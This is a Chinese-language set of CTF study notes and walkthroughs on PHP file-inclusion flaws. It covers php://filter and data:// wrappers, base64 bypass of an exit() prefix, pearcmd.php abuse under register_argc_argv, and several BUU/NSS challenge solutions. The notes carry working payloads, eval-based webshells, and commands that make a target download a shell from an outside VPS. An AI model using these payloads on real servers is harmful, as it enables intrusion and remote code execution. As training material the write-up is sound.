知识
1.1php伪协议基本介绍
php伪协议中的过滤器
转换过滤器
[0x00] convert.iconv.UCS-2LE.UCS-2BE
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
这里引入usc-2的概念,作用是对目标字符串每两位进行一反转
,值得注意的是,因为是两位所以字符串位数需要保持在偶数位
上。
①Python脚本交换奇偶位
def swap_odd_even_chars(input_str):
# 将字符串转换为字符列表以便于交换
char_list = list(input_str)
# 遍历字符串的奇数位和偶数位字符并交换它们
for i in range(0, len(char_list) - 1, 2):
char_list[i], char_list[i + 1] = char_list[i + 1], char_list[i]
# 将字符列表转换回字符串
result_str = ''.join(char_list)
return result_str
# 测试
input_string = "?<hp p//lfgab{84f58c-324854-97-09b2b7-be52ee6a0f}d"
result = swap_odd_even_chars(input_string)
print(result) # 输出
②php代码,再次进行相同转换
<?php
echo iconv("UCS-2LE","UCS-2BE",'?<hp p//lfgaf{64fca9-a2ab54-36-9ebcd2-e22e79aff1}d');
查看源代码
php伪协议
1.2file_get_contents
把整个文件读入一个字符串中。
file_get_contents($text,‘r’)
‘r’: 只读模式。文件被打开用于读取
1.3data://
数据流封装器,以传递相应格式的数据
自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。一般需要用到base64编码传输
示例用法:
1、data://text/plain, 一
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>
2、data://text/plain;base64, 一
http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
1.4组合data://和file_get_contents通过比较
?text=data://text/plain,welcome to the zjctf
?text=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
1.5 php://input
php://input 是一个 PHP 中的特殊流,用于访问原始的 HTTP 请求主体内容(主要是指POST中的内容)
1.6 绕过死亡exit
什么是死亡exit
死亡exit
指的是在进行写入PHP文件操作时,执行了以下函数:
file_put_contents($content, '<?php exit();' . $content);
亦或者
file_put_contents($content, '<?php exit();?>' . $content);
这样,当你插入一句话木马时,文件的内容是这样子的:
<?php exit();?>
<?php @eval($_POST['snakin']);?>
这样即使插入了一句话木马,在被使用的时候也无法被执行。这样的死亡exit通常存在于缓存、配置文件等等不允许用户直接访问的文件当中。
Base64 decode绕过
利用filter协议来绕过,看下这样的代码:
<?php
$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);
当用户通过POST方式提交一个数据时,会与死亡exit进行拼接,从而避免提交的数据被执行。
然而这里可以利用php://filter
的base64-decode
方法,将$content解码,利用php base64_decode函数特性去除死亡exit。
base64编码中只包含64个可打印字符,当PHP遇到不可解码的字符时,会选择性的跳过,这个时候base64就相当于以下的过程:
<?php
$_GET['txt'] = preg_replace('|[^a-z0-9A-Z+/]|s', '', $_GET['txt']);
base64_decode($_GET['txt']);
所以,当$content
包含<?php exit; ?>
时,解码过程会先去除识别不了的字符,< ; ? >和空格等都将被去除,于是剩下的字符就只有phpexit
以及我们传入的字符了。由于base64是4个byte一组,再添加一个字符例如添加字符’a’后,将phpexita
当做两组base64进行解码,也就绕过这个死亡exit了。
这个时候后面再加上编码后的一句话木马,就可以getshell了。
①函数里一大段不用管, 用来删除你扔进去的文件的,主要是看后面这几行
$devil = '<?php exit;?>';
$goods = $_POST['goods'];
file_put_contents($_POST['train'], $devil . $goods);
sleep(1);
deleteDir('.');
很明显, 你可以通过file_put_contents
写点文件到某个php文件里, 然后你有一秒的时间访问它.
但是写入它之前明显你需要先去掉或者绕过<?php exit;?>
才能使你写入的代码正常执行.
比如, 我想执行<?php system('cat flag.php');?>
, 这段话加密后为PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
, 我们在前面添加一位变成aPD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
. 这样传进去解码后的结果就是�^�+Z<?php system('cat flag.php');?>,
执行后直接就输出了.
1.7 register_argc_argv
当前目录
var/www/html
[0x00]介绍
是利用pearcmd.php
这个pecl/pear
中的文件。
pecl是PHP中用于管理扩展而使用的命令行工具,而pear是pecl依赖的类库。在7.3及以前
,pecl/pear是默认安装的;在7.4及以后,需要我们在编译PHP的时候指定–with-pear才会安装。
不过,在Docker任意版本镜像
中,pcel/pear都会被默认安装,安装的路径在/usr/local/lib/php
。
原本pear/pcel是一个命令行工具
,并不在Web目录下,即使存在一些安全隐患也无需担心。但我们遇到的场景比较特殊,是一个文件包含的场景,那么我们就可以包含到pear中的文件,进而利用其中的特性来搞事。
我最早的时候是在阅读phpinfo()的过程中,发现Docker环境下的PHP会开启register_argc_argv这个配置。文档中对这个选项的介绍不是特别清楚,大概的意思是,当开启了这个选项,用户的输入将会被赋予给\$argc、\$argv、$_SERVER['argv']
几个变量。
如果PHP以命令行的形式运行(即sapi是cli),这里很好理解。但如果PHP以Server
的形式运行,且又开启了register_argc_argv,那么这其中是怎么处理的?
[0x01] 本地文件包含
第一眼就看到config-create
,阅读其代码和帮助,可以知道,这个命令需要传入两个参数,其中第二个参数是写入的文件路径
,第一个参数会被写入到这个文件
中。
所以,我构造出最后的利用数据包如下:
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
Host: 192.168.1.162:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
在register_argc_argv开启的时候可以通过+
来分隔变量
payload:
/index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php
/index.php?+config-create+/&file=pearcmd&/<?=phpinfo()?>+hello.php
发送这个数据包,目标将会写入一个文件/tmp/hello.php
,其内容包含<?=phpinfo()?>
:
然后,我们再利用文件包含漏洞包含这个文件即可getshell:
[0x02] 公网下载文件
在register_argc_argv开启的时候可以通过+
来分隔变量
先进行包含pearcmd.php
然后在通过+分隔符
来执行download命令
在我们的vps上面创建一个test.php
<?php
echo "<?php system(whoami);?>";
?>
然后在题目url里传入?c=pearcmd&+download+http:/vpsip/test.php
访问 题目url/test.php
返回 www-data 可以知道我们用户身份为 www-data
也证明成功下载了我们test.php
那么我们也可以写一个一句话木马,下载到题目里 访问执行命令,获取flag
但不知道为什么这个更改为木马文件后,就下载不下来了。
看到大师傅后面说的原因是:
实现的原因是我们通过python3开一个服务,而php文件的路径不在网站根目录下面就不会当php解析就会自动下载。
我们vps上在~目录写入一个shell木马,然后python3 -m http.server 81
开放一个服务
最终传入
payload:
?c=pearcmd&+download+http:/vpsip:81/shell.php
成功下载下来了shell.php木马文件 密码为shell
得到flag
速解
payload:
①
/index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php
/index.php?+config-create+/&file=pearcmd&/<?=phpinfo()?>+hello.php
②
?c=pearcmd&+download+http:/vpsip:81/shell.php
2.1php://filter, data://, __tostring
①file_get_contents的作用是将整个文件读入一个字符串
这里将text文件中读取字符串,还要和welcome to the zjctf相等
这里使用的是data://写入协议
?text=data://text/plain,welcome to the zjctf
②源码提示了useless.php这里使用php伪协议来读取文件
php://filter/read=convert.base64-encode/resource=useless.php
③第一个payload
?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php
④脚本
<?php
class Flag{ //flag.php
public $file='flag.php';
}
$a = new Flag();
echo serialize($a);
⑤第二个payload
?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
不加伪协议了, flie还得正确地写
2.2php://filter的特殊格式(绕过)
<?php
$file = $_GET['category'];
if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>
绕过
php://filter/read=convert.base64-encode/resource/index /index.php
实例
。BUU
[HCTF 2018]WarmUp
开局见到一个笑脸查看源代码,得到source.php的信息
访问source.php,得到index.php的源代码
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
看到hint.php,访问即可只flag的位置
1.分析源代码
这段代码是一个简单的文件包含漏洞(File Inclusion)题目,主要的逻辑在 emmm::checkFile 方法中。让我们逐步分析它:
首先,$whitelist 数组定义了一个允许访问的文件列表,包括 “source.php” 和 “hint.php”。
checkFile 方法接受一个传引用的参数 $page,它首先判断 $page 是否为字符串,如果不是,则输出 “you can’t see it”,然后返回 false。
如果 $page 在白名单中,直接返回 true。
否则,代码将对 $page 进行一些处理。它通过 mb_substr 和 mb_strpos 函数,尝试提取 $page 参数中的第一个问号之前的子串,并将其赋值给 $_page。然后再次检查 $_page 是否在白名单中,如果是,返回 true。
最后,它还尝试对 $page 进行 URL 解码,并进行类似的处理。如果 $_page 在白名单中,返回 true。
如果以上条件都不满足,则输出 “you can’t see it” 并返回 false。
在主代码部分,如果满足以下条件,则执行文件包含
:$_REQUEST[‘file’] 不为空,且是字符串,且通过 emmm::checkFile 检查返回 true。如果条件不满足,输出一张图片。
2.构造payload:
/?file=hint.php?../../../../../ffffllllaaaagggg
3.输入payload:
[极客大挑战 2019]Secret File
进入题目
检查,发现可以点到另一个网页
点击
此时开启Burp Suit,点击selct,并开启抓返回包的功能
放包,返回包里发现另一个网页
访问,得到源代码,发现flag在flag.php,可以利用文件包含漏洞
还用到了PHP伪协议,构造flag如下:
?file=php://filter/read=convert.base64-encode/resource=flag.php
[ACTF2020 新生赛]Include
进来看到
————————
点击
注意到/?file=
,
猜测是文件包含漏洞,php伪协议
构造payload
/?file=php://filter/read=convert.base64-encode/resource=flag.php
————————
————————
PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7YWE0ODhiMmYtNjg3NC00MTg3LWEwZTMtZjA3MThkMGMyMjJkfQo=
进行Base64解码,得到flag
[SWPUCTF 2021 新生赛]include
进来看到
给file随意传一个参数
/?file=222
发现文件包含漏洞,这里要利用php伪协议
payload:
/?file=php://filter/read=convert.base64-encode/resource=flag.php
Base64解码得flag
。NSS
[ZJCTF 2019]NiZhuanSiWei
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
data://写入协议来应对file_get_contents($text,'r')==="welcome to the zjctf"
?text=data://text/plain,welcome to the zjctf
题目提醒了要包含useless.php文件
使用php伪协议来读取文件
php://filter/read=convert.base64-encode/resource=useless.php
payload为:
?text=data://text/plain,welcome to the zjctf&&file=php://filter/read=convert.base64-encode/resource=useless.php
得到一串密文
Base64解密得到
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
脚本
<?php
class Flag{ //flag.php
public $file='flag.php';
}
$a = new Flag();
echo serialize($a);
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
最终payload
/?text=data://text/plain,welcome to the zjctf&&file=useless.php&&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
输入payload页面如下
查看源码,发现flag
[SWPUCTF 2021 新生赛]PseudoProtocols
进来看到
提示hint.php,php伪协议来读取其中内容
php://filter/read=convert.base64-encode/resource=hint.php
PD9waHANCi8vZ28gdG8gL3Rlc3QyMjIyMjIyMjIyMjIyLnBocA0KPz4=
<?php
//go to /test2222222222222.php
?>
访问test2222222222222.php
<?php
ini_set("max_execution_time", "180");
show_source(__FILE__);
include('flag.php');
$a= $_GET["a"];
if(isset($a)&&(file_get_contents($a,'r')) === 'I want flag'){
echo "success\n";
echo $flag;
}
?>
file_get_contents的作用是将整个文件读入一个字符串
这里将text文件中读取字符串,还要和I want flag相等
这里使用的是data://写入协议
?a=data://text/plain,I want flag
得到flag
NSSCTF{2034b1d3-2b31-43f3-902d-334a6de646bf}
[鹏城杯 2022]简单包含
<?php
highlight_file(__FILE__);
include($_POST["flag"]);
//flag in /var/www/html/flag.php;
一眼看出文件包含,想得到flag.php,却提示有狗
flag=/var/www/html/flag.php
尝试获取源代码,用到了php伪协议
flag=php://filter/read=convert.base64-encode/resource=index.php
Base64解密
<?php
$path = $_POST["flag"];
if (strlen(file_get_contents('php://input')) < 800 && preg_match('/flag/', $path)) {
echo 'nssctf waf!';
} else {
@include($path);
}
?>
利用
strlen(file_get_contents(‘php://input’)) < 800
在POST处传一个很长的参数即可绕过
payload:
a=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&flag=php://filter/read=convert.base64-encode/resource=/var/www/html/flag.php
解密:
这道题令我没有想到的是这一步:
payload:
a=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&flag=/var/www/html/flag.php
没有使用php伪协议时,报了错
[SWPUCTF 2022 新生赛]ez_ez_php
<?php
error_reporting(0);
if (isset($_GET['file'])) {
if ( substr($_GET["file"], 0, 3) === "php" ) {
echo "Nice!!!";
include($_GET["file"]);
}
else {
echo "Hacker!!";
}
}else {
highlight_file(__FILE__);
}
//flag.php
需要绕过
substr($_GET[“file”], 0, 3) === “php”
使用php伪协议
payload:
/?file=php://filter/read=convert.base64-encode/resource=flag.php
Nice!!!PD9waHANCmVycm9yX3JlcG9ydGluZygwKTsNCmhlYWRlcigiQ29udGVudC1UeXBlOnRleHQvaHRtbDtjaGFyc2V0PXV0Zi04Iik7DQoNCg0KZWNobyAgICJOU1NDVEZ7ZmxhZ19pc19ub3RfaGVyZX0iIC4iPGJyLz4iOw0KZWNobyAicmVhbF9mbGFnX2lzX2luXydmbGFnJyIuIjxici8+IjsNCmVjaG8gIuaNouS4quaAnei3r++8jOivleivlVBIUOS8quWNj+iuruWRoiI7DQo=
解密。解密时注意别留着
得
<?php
error_reporting(0);
header("Content-Type:text/html;charset=utf-8");
echo "NSSCTF{flag_is_not_here}" ."<br/>";
echo "real_flag_is_in_'flag'"."<br/>";
echo "换个思路,试试PHP伪协议呢";
提示flag在flag文件处
payload:
/?file=php://filter/read=convert.base64-encode/resource=flag
TlNTQ1RGe2U3OGUwMzQ1LWUwMDktNDQyNy04OWY3LWUwMjI0OGU2NDM5MX0K
解密,得
[GDOUCTF 2023]泄露的伪装
啥都找不到,用dirsearch进行目录扫描
得到两个文件
/test.txt中就是源码,但你不能在一个文本文件中传参
访问/www.rar路径,自动下载文件
文件组成
打开文件
访问/orzorz.php
得到源码
<?php
error_reporting(0);
if(isset($_GET['cxk'])){
$cxk=$_GET['cxk'];
if(file_get_contents($cxk)=="ctrl"){
echo $flag;
}else{
echo "洗洗睡吧";
}
}else{
echo "nononoononoonono";
}
?> nononoononoonono
这一处可以组合data://和file_get_contents通过比较
自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。一般需要用到base64编码传输
payload有两种:
1:?cxk=data://text/plain,ctrl
2:?cxk=data://text/plain;base64,Y3RybA==
## [HNCTF 2022 Week1]Interesting_include
<?php
//WEB手要懂得搜索
//flag in ./flag.php
if(isset($_GET['filter'])){
$file = $_GET['filter'];
if(!preg_match("/flag/i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}
这个正则表达式是怕我们没有看到flag这个文件!
用到了php伪协议,payload:
/?filter=php://filter/read=convert.base64-encode/resource=flag.php
得到
PD9waHAKCiRmbGFnID0gJ2ZsYWc9TlNTQ1RGezA0YTk0ZDczLTFhNWYtNGM5ZC1iNjA1LTYwOWEyYzBlMDc3ZH0nOwo/Pg==
解密得flag
<?php
$flag = 'flag=NSSCTF{04a94d73-1a5f-4c9d-b605-609a2c0e077d}';
?>
。NewStarCTF 2023
include 0。0
<?php
highlight_file(__FILE__);
// FLAG in the flag.php
$file = $_GET['file'];
if(isset($file) && !preg_match('/base|rot/i',$file)){
@include($file);
}else{
die("nope");
}
?> nope
考点:要使用php伪协议
难点:常用的string.rot13,convert.base64-encode 被过滤了
解法:
解法1
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
查看源代码
显示出来的flag太乱了
?<hp p//lfgab{84f58c-324854-97-09b2b7-be52ee6a0f}d
这里引入usc-2的概念,作用是对目标字符串每两位进行一反转,值得注意的是,因为是两位所以字符串需要保持在偶数位上。
①
上python脚本交换回来
def swap_odd_even_chars(input_str):
# 将字符串转换为字符列表以便于交换
char_list = list(input_str)
# 遍历字符串的奇数位和偶数位字符并交换它们
for i in range(0, len(char_list) - 1, 2):
char_list[i], char_list[i + 1] = char_list[i + 1], char_list[i]
# 将字符列表转换回字符串
result_str = ''.join(char_list)
return result_str
# 测试
input_string = "?<hp p//lfgab{84f58c-324854-97-09b2b7-be52ee6a0f}d"
result = swap_odd_even_chars(input_string)
print(result) # 输出
得到flag:
②
php代码,再次进行相同转换:
<?php
echo iconv("UCS-2LE","UCS-2BE",'?<hp p//lfgaf{64fca9-a2ab54-36-9ebcd2-e22e79aff1}d');
查看源代码
解法2
php://filter/convert.iconv.UTF-8.UTF-7/resource=flag.php
在线转换网站
Include 🍐
考点:
register_argc_argv
疑点:
①
/index.php?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=phpinfo()?>+/tmp/hello.php
/index.php?+config-create+/&file=pearcmd&/<?=phpinfo()?>+hello.php
②
?c=pearcmd&+download+http:/vpsip:81/shell.php(大蒙圈:文件名为b.php时失败)
这些payload我看不懂其中的连接符号
LFI to RCE
<?php
error_reporting(0);
if(isset($_GET['file'])) {
$file = $_GET['file'];
if(preg_match('/flag|log|session|filter|input|data/i', $file)) {
die('hacker!');
}
include($file.".php");
# Something in phpinfo.php!
}
else {
highlight_file(__FILE__);
}
?>
LFI的意思是本地文件包含
提示我们查看phpinfo.php
搜索flag
,可以看到hint
fake{Check_register_argc_argv}
暗示我们查看register_argc_argv
,搜索它
发现这个服务是开启的,一定有与他相关的漏洞,搜索
这道题,我用了好几个方式,但是只有公网下载文件成功了,还开启了python3服务
python3 -m http.server 81
p.php:
<?php
highlight_file("p.php");
@eval($_POST[8]);
echo "it is ok";
?>
?file=pearcmd&+download+http://124.70.205.216:81/p.php
访问p.php
连蚁剑
参考:
https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html文章来源:https://www.toymoban.com/news/detail-611775.html
https://blog.csdn.net/weixin_63231007/article/details/125900528文章来源地址https://www.toymoban.com/news/detail-611775.html
到了这里,关于文件包含实例的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!